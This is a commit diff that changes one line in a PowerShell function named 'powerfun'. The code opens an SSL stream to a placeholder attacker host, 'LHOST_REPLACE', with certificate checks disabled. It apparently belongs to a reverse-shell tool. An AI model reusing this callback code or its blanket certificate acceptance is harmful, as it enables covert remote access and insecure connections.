fix ssl connection on Windows Server 2012
This commit is contained in:
@@ -30,7 +30,7 @@ function powerfun
|
||||
if ($Sslcon -eq "true")
|
||||
{
|
||||
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
|
||||
$sslStream.AuthenticateAsClient("LHOST_REPLACE")
|
||||
$sslStream.AuthenticateAsClient("LHOST_REPLACE",$null,"tls12",$false)
|
||||
$stream = $sslStream
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user